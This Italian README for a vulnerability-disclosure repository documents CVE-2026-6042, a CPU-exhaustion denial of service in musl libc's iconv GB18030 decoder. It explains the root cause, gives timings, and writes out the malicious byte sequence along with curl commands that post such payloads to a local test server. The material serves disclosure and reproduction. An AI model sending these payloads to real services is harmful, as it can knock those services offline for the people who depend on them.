
Prova di concetto e test end-to-end della DoS per complessità algoritmica in musl libc 0.8.0-1.2.6, assegnata a CVE-2026-6042
iconv di musl libcI cicli di salto dei gap nel decodificatore GB18030 a 4 byte di iconv in musl consentono a un piccolo input appositamente costruito di consumare una quantità sproporzionata di tempo CPU. Un payload dannoso di 40 KB può bloccare un core della CPU per oltre 40 minuti.
Contrariamente a quanto affermano gli advisory, il vettore d'attacco di questo exploit è chiaramente di rete, non locale. Ciò deriva dal fatto che VulDB non comprende realmente le vulnerabilità che assegna.
Vettore CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - 7.5 (Alto)
| Campo | Dettaglio |
|---|
| Software interessato | musl libc (implementazione di iconv) |
| Codifiche interessate | GB18030 (sequenze a 4 byte) |
| Tipo | Complessità Algoritmica / Denial of Service |
| Versioni confermate | musl 1.2.5 (Alpine 3.21), musl 1.2.6 (compilato dal sorgente) |
| Probabilmente interessate | Tutte le versioni di musl dall'introduzione del supporto a GB18030 e UHC/CP949 |
| Superficie d'attacco | Qualsiasi servizio basato su musl che chiama iconv() su input non attendibili con queste codifiche |
Il decodificatore GB18030 a 4 byte in musl (src/locale/iconv.c, circa righe 434-442) converte una sequenza di input a 4 byte in un indice lineare e poi percorre un ciclo di salto dei gap per mappare tale indice a un codepoint Unicode. Per ogni carattere decodificato, il ciclo interno itera l'intera tabella gb18030[126][190] (23.940 voci) per contare quanti codepoint mappati a 2 byte rientrano in un intervallo scorrevole.
La sequenza di byte 82 35 8F 33 produce un indice lineare di 19.171, che si colloca appena sotto il blocco denso degli Ideogrammi Unificati CJK (U+4E00-U+9FBD, ~20.902 voci). Il ciclo di salto dei gap deve quindi attraversare l'intero blocco denso una voce alla volta, eseguendo ~20.905 iterazioni esterne, ciascuna delle quali analizza tutte le 23.940 voci della tabella. Ciò equivale a circa 500 milioni di confronti per carattere di input.
Poiché il costo cresce linearmente con il numero di caratteri dannosi nell'input, e ogni carattere attiva indipendentemente l'intero ciclo interno, il lavoro totale è O(n * k^2) dove n è il numero di caratteri di input e k è la dimensione della tabella di ricerca.
Qualsiasi sistema basato su musl (Alpine Linux, Void Linux, postmarketOS, immagini container/embedded, ecc.) che esegue un servizio che transcodifica GB18030 o EUC-KR da input fornito dall'utente tramite iconv() è vulnerabile a denial of service.
Tempi previsti su un singolo core (misurati su Alpine 3.21 / musl 1.2.5):
| Input | Tempo |
|---|---|
| 1 carattere dannoso (4 byte) | ~0,26 s |
| 100 caratteri (400 byte) | ~26 s |
| 1.000 caratteri (4 KB) | ~4,3 min |
| 10.000 caratteri (40 KB) | ~43 min |
Per confronto, 100 caratteri GB18030 benigni vengono decodificati in microsecondi.
| File | Descrizione |
|---|---|
poc_gb18030_dos.c | PoC autonomo: misura i tempi di decodifica GB18030 benigna vs. dannosa tramite iconv() |
server.c | Server HTTP minimale che transcodifica i corpi POST tramite iconv(), simulando una superficie d'attacco reale |
Dockerfile | Immagine container Alpine Linux che compila ed esegue il server vulnerabile |
test.sh | Script di test end-to-end: invia payload benigni e dannosi al server e confronta i tempi di risposta |
iconv)Compila ed esegui su qualsiasi sistema basato su musl:
# Su Alpine Linux
apk add gcc musl-dev
gcc -O2 -o poc_gb18030_dos poc_gb18030_dos.c
./poc_gb18030_dos
Oppure tramite Docker:
docker run --rm -v "$(pwd)":/work -w /work alpine:latest \
sh -c "apk add gcc musl-dev && gcc -O2 -o poc_gb18030_dos poc_gb18030_dos.c && ./poc_gb18030_dos"
Output atteso: i caratteri benigni vengono decodificati in microsecondi; un singolo carattere dannoso (82 35 8F 33) richiede ~0,26 secondi.
Compila e avvia il server vulnerabile:
docker build -t cve-2026-6042 .
docker run --rm -p 8080:8080 cve-2026-6042
In un altro terminale, esegui il test harness:
./test.sh
Oppure invia un payload manualmente:
# Benigno: 100 caratteri, dovrebbe restituire istantaneamente
printf '\x81\x30\x81\x30%.0s' $(seq 1 100) > /tmp/benign.bin
curl -X POST -H "Content-Type: text/plain; charset=gb18030" \
--data-binary @/tmp/benign.bin http://localhost:8080/
# Dannoso: solo 5 caratteri, dovrebbe richiedere >1 secondo
printf '\x82\x35\x8F\x33%.0s' $(seq 1 5) > /tmp/adversarial.bin
curl -X POST -H "Content-Type: text/plain; charset=gb18030" \
--data-binary @/tmp/adversarial.bin http://localhost:8080/
L'header di risposta X-Transcode-Time riporta il tempo trascorso all'interno di iconv().
Lo screenshot seguente mostra la scalabilità lineare dell'input dannoso contro il server Docker: 20 caratteri (80 byte) richiedono ~5,2 s, 80 caratteri (320 byte) richiedono ~20,8 s e 160 caratteri (640 byte) richiedono ~41,5 s.

| Sequenza | Indice Lineare | Comportamento |
|---|---|---|
81 30 81 30 (benigna) | 128 | Codepoint basso; il ciclo di salto dei gap termina rapidamente |
82 35 8F 33 (dannosa) | 19.171 | Si colloca appena sotto il blocco CJK denso; attiva ~500M confronti |
82 35 90 30 (dannosa) | ~19.200 | Stessa regione, costo simile |
Questo repository è pubblicato a scopo di ricerca sulla sicurezza e divulgazione responsabile. Il codice è fornito esclusivamente per riprodurre e verificare CVE-2026-6042. Non utilizzarlo contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione a testare.